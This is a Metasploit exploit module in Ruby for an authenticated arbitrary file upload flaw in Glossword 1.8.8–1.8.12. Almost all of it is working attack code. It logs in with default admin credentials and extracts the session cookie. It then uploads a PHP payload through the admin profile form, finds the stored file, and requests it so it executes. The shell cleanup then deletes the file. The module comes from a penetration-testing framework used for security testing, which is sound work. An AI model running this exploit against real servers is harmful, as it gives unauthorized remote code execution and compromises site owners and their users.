##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a file upload vulnerability in Glossword
				versions 1.8.8 to 1.8.12 when run as a standalone application.
				This application has an upload feature that allows an authenticated user
				with administrator roles to upload arbitrary files to the 'gw_temp/a/'
				directory.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AkaStep', # Discovery
					'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
				],
			'References'     =>
				[
					[ 'EDB',  '24456' ],
					[ 'OSVDB', '89960' ]
				],
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [['Automatic Targeting', { 'auto' => true }]],
			'Privileged'     => true,
			'DisclosureDate' => "Feb 05 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
				OptString.new('USERNAME',  [true, 'The username for Glossword', 'admin']),
				OptString.new('PASSWORD',  [true, 'The password for Glossword', 'admin'])
			], self.class)
	end

	def check

		base  = target_uri.path
		peer  = "#{rhost}:#{rport}"
		user  = datastore['USERNAME']
		pass  = datastore['PASSWORD']

		# login
		print_status("#{peer} - Authenticating as user '#{user}'")
		begin
			res = login(base, user, pass)
			if res
				if res.code == 200
					print_error("#{peer} - Authentication failed")
					return Exploit::CheckCode::Unknown
				elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
					print_good("#{peer} - Authenticated successfully")
					return Exploit::CheckCode::Appears
				end
			end
			return Exploit::CheckCode::Safe
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("#{@fname}")
		else
			client.shell_command_token("rm #{@fname}")
		end
	end

	def upload(base, sid, fname, file)

		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		data = Rex::MIME::Message.new
		data.add_part(file,       'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
		data.add_part("edit-own", nil, nil, 'form-data; name="a"')
		data.add_part("users",    nil, nil, 'form-data; name="t"')
		data.add_part("Save",     nil, nil, 'form-data; name="post"')
		data.add_part("#{sid}",   nil, nil, 'form-data; name="sid"')
		data.add_part("#{user}",  nil, nil, 'form-data; name="arPost[login]"')
		data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_new]"')
		data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_confirm]"')

		data_post = data.to_s
		data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => normalize_uri(base, 'gw_admin.php'),
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => data_post,
		})

		return res
	end

	def login(base, user, pass)

		res   = send_request_cgi({
			'method' => 'POST',
			'uri'    => normalize_uri(base, 'gw_login.php'),
			'data'   => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
		})
		return res

	end

	def exploit

		base  = target_uri.path
		@peer = "#{rhost}:#{rport}"
		@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
		user  = datastore['USERNAME']
		pass  = datastore['PASSWORD']

		# login; get session id and token
		print_status("#{@peer} - Authenticating as user '#{user}'")
		res = login(base, user, pass)
		if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
			token = "#{$1}"
			sid   = "#{$2}"
			print_good("#{@peer} - Authenticated successfully")
		else
			fail_with(Failure::NoAccess, "#{@peer} - Authentication failed")
		end

		# upload PHP payload
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
		php = %Q|<?php #{payload.encoded} ?>|
		begin
			res = upload(base, sid, @fname, php)
			if res and res.code == 301 and res['location'] =~ /Setting saved/
				print_good("#{@peer} - File uploaded successfully")
			else
				fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
		end

		# retrieve PHP file path
		print_status("#{@peer} - Locating PHP payload file")
		begin
			res   = send_request_cgi({
				'method' => 'GET',
				'uri'    => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
				'cookie' => "sid#{token}=#{sid}"
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
		end
		if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
			shell_uri = "#{$1}"
			@fname    = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
			print_good("#{@peer} - Found payload file path (#{shell_uri})")
		else
			fail_with(Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Executing payload (#{shell_uri})")
		begin
			send_request_cgi({
				'method' => 'GET',
				'uri'    => normalize_uri(base, shell_uri),
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
		end
		if !res or res.code != 200
			fail_with(Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
		end
	end
end
